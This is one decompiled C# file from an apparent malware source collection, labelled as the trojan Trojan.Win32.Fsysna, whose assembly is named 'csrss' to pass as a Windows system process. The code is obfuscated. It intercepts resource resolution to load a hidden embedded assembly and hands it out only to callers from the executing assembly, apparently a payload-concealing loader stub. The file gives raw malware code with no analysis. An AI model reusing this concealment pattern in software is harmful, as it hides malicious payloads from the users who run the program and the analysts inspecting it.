MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91/_0002/_0004.cs

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: csrss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 57F4D4CE-643E-4C92-9C47-86B837B59593
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91.exe

using \u0002;
using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;

namespace \u0002
{
  internal sealed class \u0004
  {
    private static Assembly \u0001 = (Assembly) null;
    private static string[] \u0001 = new string[0];

    internal static void \u0002()
    {
      try
      {
        AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0004.\u0002);
      }
      catch (Exception ex)
      {
      }
    }

    private static Assembly \u0002([In] object obj0, [In] ResolveEventArgs obj1)
    {
      if ((object) \u0004.\u0001 == null)
      {
        lock (\u0004.\u0001)
        {
          \u0004.\u0001 = Assembly.Load("{d25c9a8d-bd04-483b-a7c1-13ef5e6c7e8a}, PublicKeyToken=3e56350693f7355e");
          if ((object) \u0004.\u0001 != null)
            \u0004.\u0001 = \u0004.\u0001.GetManifestResourceNames();
        }
      }
      string name = obj1.Name;
      for (int index = 0; index < \u0004.\u0001.Length; ++index)
      {
        if (\u0004.\u0001[index] == name)
          return !\u0004.\u0002() ? (Assembly) null : \u0004.\u0001;
      }
      return (Assembly) null;
    }

    private static bool \u0002()
    {
      try
      {
        StackFrame[] frames = new StackTrace().GetFrames();
        for (int index = 2; index < frames.Length; ++index)
        {
          if ((object) frames[index].GetMethod().Module.Assembly == (object) Assembly.GetExecutingAssembly())
            return true;
        }
        return false;
      }
      catch
      {
        return true;
      }
    }
  }
}